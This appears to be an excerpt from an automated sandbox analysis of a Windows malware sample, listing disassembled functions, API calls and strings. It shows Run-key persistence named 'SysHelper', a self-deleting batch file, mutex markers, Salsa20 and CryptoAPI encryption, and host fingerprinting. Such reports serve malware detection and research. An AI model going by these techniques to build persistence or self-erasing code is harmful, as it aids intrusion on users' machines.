_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

del ", xrefs: 00412674
D, xrefs: 00412720
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
delself.bat, xrefs: 0041261C
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
TEMP, xrefs: 004125DF
"if exist ", xrefs: 00412648
@echo off:trydel ", xrefs: 0041262A
" goto try, xrefs: 00412666

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 00427B21 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(006E5378), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Strings

xSn, xrefs: 00427B5A, 00427B7E, 00427B90

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: xSn
API String ID: 3064303923-2654970418
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
, xrefs: 00463A90

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
